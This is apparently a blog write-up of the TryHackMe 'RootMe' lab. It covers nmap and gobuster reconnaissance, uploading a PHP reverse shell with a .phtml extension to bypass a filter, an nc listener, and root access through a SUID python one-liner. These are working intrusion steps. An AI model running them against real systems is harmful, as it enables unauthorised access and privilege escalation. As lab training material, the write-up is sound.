Hello, I'm going to show you the "RootMe" CTF write-up on the Try Hack Me platform. It's an easy CTF, perfect for warming up and testing your cybersecurity skills.

Recon

First of all, we start with a Nmap scan to identify active services on the target machine:

sudo nmap -sS -A -oN Root-Me 10.10.42.92 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-02 13:49 CEST

Nmap scan report for 10.10.42.92
Host is up (0.023s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4ab9160884c25448ba5cfd3f225f2214 (RSA)
|   256 a9a686e8ec96c3f003cd16d54973d082 (ECDSA)
|_  256 22f6b5a654d9787c26035a95f3f9dfcd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: HackIT - Home
|_http-server-header: Apache/2.4.29 (Ubuntu)

The scan reveals an Apache/2.4.29 web server and an OpenSSH 7.6p1 server.

Accessing the web server, we find a page displaying an intriguing message.

Using Gobuster, we discover the web server's folders:

gobuster dir -u 10.10.161.103 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/uploads (Status: 301)
/css (Status: 301)
/js (Status: 301)
/panel (Status: 301)
/server-status (Status: 403)

Among the folders discovered, two stand out: /panel and /uploads.

Getting a shell

Accessing /panel, we discover a page allowing us to upload files. This is an interesting opportunity for us.

To get a shell, we deploy a PHP reverse shell (available here) on the server via the upload function.

Don't forget to change the $ip and $port to your own.

However, the server refuses files with the .php extension, so we need to rename it to .phtml before uploading it. Next, we go to the /uploads folder to run the reverse shell using an ncat listener:

$ip/uploads/payload.phtml

Now we have shell access on the target machine:

nc -nvlp 8888
Connection from 10.10.42.92:38178
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 12:23:35 up 52 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ pwd
/
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data

To stabilize the shell and work in better conditions, we use the following command:

python -c 'import pty; pty.spawn("/bin/bash")'

As user www-data, we look for the flag in its folder.

The user flag was indeed in /var/www/user.txt : THM{*********}.

Privilege escalation

Now that we've gained shell access as the www-data user, we're looking for SUID files enabling privilege escalation, using the find command:

find / -type f -perm -4000 -ls 2>/dev/null

787696     44 -rwsr-xr--   1 root     messagebus    42992 Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   787234    112 -rwsr-xr-x   1 root     root         113528 Jul 10  2020 /usr/lib/snapd/snap-confine
   918336    100 -rwsr-xr-x   1 root     root         100760 Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
   787659     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   787841    428 -rwsr-xr-x   1 root     root         436552 Mar  4  2019 /usr/lib/openssh/ssh-keysign
   787845     16 -rwsr-xr-x   1 root     root          14328 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
   787467     20 -rwsr-xr-x   1 root     root          18448 Jun 28  2019 /usr/bin/traceroute6.iputils
   787290     40 -rwsr-xr-x   1 root     root          37136 Mar 22  2019 /usr/bin/newuidmap
   787288     40 -rwsr-xr-x   1 root     root          37136 Mar 22  2019 /usr/bin/newgidmap
   787086     44 -rwsr-xr-x   1 root     root          44528 Mar 22  2019 /usr/bin/chsh
   266770   3580 -rwsr-sr-x   1 root     root        3665768 Aug  4  2020 /usr/bin/python
   787033     52 -rwsr-sr-x   1 daemon   daemon        51464 Feb 20  2018 /usr/bin/at
   787084     76 -rwsr-xr-x   1 root     root          76496 Mar 22  2019 /usr/bin/chfn
   787179     76 -rwsr-xr-x   1 root     root          75824 Mar 22  2019 /usr/bin/gpasswd
   787431    148 -rwsr-xr-x   1 root     root         149080 Jan 31  2020 /usr/bin/sudo
   787289     40 -rwsr-xr-x   1 root     root          40344 Mar 22  2019 /usr/bin/newgrp
   787306     60 -rwsr-xr-x   1 root     root          59640 Mar 22  2019 /usr/bin/passwd
   787326     24 -rwsr-xr-x   1 root     root          22520 Mar 27  2019 /usr/bin/pkexec
...

Using GTFObins, we identify a suspect SUID file: /usr/bin/python. More precisely, the Python SUID allows you to execute code with the rights of the user who owns the file (in this case, the root user), thus enabling you to become root.

We can use this SUID file to escalate to the root account:

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

After executing this command, we obtain root access:

id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
whoami
root

The root flag can be found in its folder: /root/root.txt

The flag is THM{***********}

Conclusion

This CTF was a great way to warm up and practice our cybersecurity skills.

I hope you found this write-up useful. Stay tuned for more articles on cybersecurity and CTFs on this blog!